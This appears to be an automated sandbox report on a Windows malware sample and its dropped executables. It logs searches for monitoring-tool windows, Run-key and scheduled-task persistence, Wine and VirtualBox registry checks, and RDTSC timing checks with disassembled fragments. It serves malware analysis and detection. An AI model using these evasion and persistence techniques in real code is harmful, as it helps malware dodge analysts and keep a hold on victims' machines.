Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6c1c4a36e1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6c1c4a36e1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4b41d9dd20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4b41d9dd20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9af14a3c40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9af14a3c40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42ED47 second address: 42ED4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A39C7 second address: 5A39CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A39CB second address: 5A39F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FD4D8B12EC7h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59298E second address: 592998 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592998 second address: 5929A2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4D8B12EB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2D0C second address: 5A2D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FD4D8F45596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD4D8F455A3h 0x00000011 jg 00007FD4D8F4559Eh 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A64CF second address: 5A64D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6569 second address: 5A6592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d or dword ptr [ebp+122D32FCh], edi 0x00000013 push 00000000h 0x00000015 xor edi, 10A07300h 0x0000001b call 00007FD4D8F45599h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6592 second address: 5A6596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6596 second address: 5A65F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4D8F4559Ch 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FD4D8F455A7h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ebx 0x00000017 jc 00007FD4D8F455ABh 0x0000001d jmp 00007FD4D8F455A5h 0x00000022 pop ebx 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 push eax 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 pop eax 0x0000002a jng 00007FD4D8F4559Ch 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A65F1 second address: 5A6675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jo 00007FD4D8B12ECDh 0x0000000f jmp 00007FD4D8B12EC7h 0x00000014 pop eax 0x00000015 mov si, F774h 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FD4D8B12EB8h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 and ch, FFFFFFBAh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007FD4D8B12EB8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 movzx edi, di 0x00000057 push 00000003h 0x00000059 add dword ptr [ebp+122D29AAh], edi 0x0000005f push 9F351A7Ah 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6675 second address: 5A66E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FD4D8F4559Dh 0x0000000c pop ecx 0x0000000d popad 0x0000000e xor dword ptr [esp], 5F351A7Ah 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FD4D8F45598h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+122D3110h] 0x00000035 movzx esi, bx 0x00000038 lea ebx, dword ptr [ebp+1244B413h] 0x0000003e sbb edi, 4C916FBDh 0x00000044 call 00007FD4D8F4559Ch 0x00000049 sub dword ptr [ebp+122D2C1Ch], edx 0x0000004f pop esi 0x00000050 push eax 0x00000051 pushad 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A66E1 second address: 5A66F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD4D8B12EB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6835 second address: 5A6859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FD4D8F4559Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6859 second address: 5A685D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A685D second address: 5A687F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A687F second address: 5A688F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EBBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A688F second address: 5A68A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A68A1 second address: 5A68A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A68A5 second address: 5A68AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A68AB second address: 5A695D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007FD4D8B12EB6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FD4D8B12EB8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov di, 022Bh 0x0000002b jng 00007FD4D8B12EBEh 0x00000031 jns 00007FD4D8B12EB8h 0x00000037 push 00000003h 0x00000039 sub ecx, dword ptr [ebp+122D2F68h] 0x0000003f push 00000000h 0x00000041 and si, B90Fh 0x00000046 call 00007FD4D8B12EC0h 0x0000004b call 00007FD4D8B12EBDh 0x00000050 mov dword ptr [ebp+1244ADA6h], edi 0x00000056 pop edx 0x00000057 pop edi 0x00000058 push 00000003h 0x0000005a push 00000000h 0x0000005c push edi 0x0000005d call 00007FD4D8B12EB8h 0x00000062 pop edi 0x00000063 mov dword ptr [esp+04h], edi 0x00000067 add dword ptr [esp+04h], 00000018h 0x0000006f inc edi 0x00000070 push edi 0x00000071 ret 0x00000072 pop edi 0x00000073 ret 0x00000074 jbe 00007FD4D8B12EB9h 0x0000007a movsx edx, di 0x0000007d push A092A858h 0x00000082 jp 00007FD4D8B12ED1h 0x00000088 push eax 0x00000089 push edx 0x0000008a jno 00007FD4D8B12EB6h 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A695D second address: 5A69A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 6092A858h 0x00000010 js 00007FD4D8F4559Bh 0x00000016 lea ebx, dword ptr [ebp+1244B41Ch] 0x0000001c jmp 00007FD4D8F4559Eh 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD4D8F4559Bh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A69FF second address: 5A6A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6A16 second address: 5A6A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8F455A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6A2D second address: 5A6A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FD4D8B12EB8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D338Eh], eax 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D32E8h], edx 0x00000033 call 00007FD4D8B12EB9h 0x00000038 je 00007FD4D8B12EC8h 0x0000003e push eax 0x0000003f push edx 0x00000040 jl 00007FD4D8B12EB6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6A81 second address: 5A6A91 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6A91 second address: 5A6AA3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FD4D8B12EB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6AA3 second address: 5A6B7B instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FD4D8F455A5h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnl 00007FD4D8F455ACh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007FD4D8F455A9h 0x00000025 pop eax 0x00000026 jg 00007FD4D8F45599h 0x0000002c push 00000003h 0x0000002e jg 00007FD4D8F4559Ch 0x00000034 push 00000000h 0x00000036 sub dword ptr [ebp+122D22BCh], edx 0x0000003c push 00000003h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007FD4D8F45598h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 mov edi, dword ptr [ebp+122D2F5Ch] 0x0000005e jmp 00007FD4D8F455A8h 0x00000063 call 00007FD4D8F45599h 0x00000068 push eax 0x00000069 push edx 0x0000006a jng 00007FD4D8F455A1h 0x00000070 jmp 00007FD4D8F4559Bh 0x00000075 rdtsc
